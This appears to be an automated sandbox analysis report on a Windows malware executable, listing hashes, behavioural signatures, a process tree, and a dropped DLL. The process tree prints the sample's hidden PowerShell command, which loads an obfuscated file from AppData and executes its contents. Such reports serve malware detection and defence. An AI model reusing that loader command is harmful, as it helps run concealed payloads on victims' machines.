Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2024 03:12

General

  • Target

    f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe

  • Size

    694KB

  • MD5

    42b3eeff606c41053b2b30e6df1baa87

  • SHA1

    8957ac95d71567ccf7d0efc28ddcc944352308d0

  • SHA256

    f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4

  • SHA512

    2646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8

  • SSDEEP

    12288:IfL/UfibuJ2zMMzztVZK+u5YBCtKlQyYefZKSxA340ryKhzJ:IfL8fibuJ2/JVZZuaBCtjexKj3vR

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe
    "C:\Users\Admin\AppData\Local\Temp\f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Epigraphic93=gc -raw 'C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Hyperimmune.Mus';$Miljerne=$Epigraphic93.SubString(70004,3);.$Miljerne($Epigraphic93) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1140

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Local\Temp\nsoAFFF.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    b4579bc396ace8cafd9e825ff63fe244

    SHA1

    32a87ed28a510e3b3c06a451d1f3d0ba9faf8d9c

    SHA256

    01e72332362345c415a7edcb366d6a1b52be9ac6e946fb9da49785c140ba1a4b

    SHA512

    3a76e0e259a0ca12275fed922ce6e01bdfd9e33ba85973e80101b8025ef9243f5e32461a113bbcc6aa75e40894bb5d3a42d6b21045517b6b3cf12d76b4cfa36a

  • memory/1140-12-0x0000000073BF1000-0x0000000073BF2000-memory.dmp

    Filesize

    4KB

  • memory/1140-16-0x0000000073BF0000-0x000000007419B000-memory.dmp

    Filesize

    5.7MB

  • memory/1140-15-0x0000000073BF0000-0x000000007419B000-memory.dmp

    Filesize

    5.7MB

  • memory/1140-14-0x0000000073BF0000-0x000000007419B000-memory.dmp

    Filesize

    5.7MB

  • memory/1140-13-0x0000000073BF0000-0x000000007419B000-memory.dmp

    Filesize

    5.7MB

  • memory/1140-17-0x0000000073BF0000-0x000000007419B000-memory.dmp

    Filesize

    5.7MB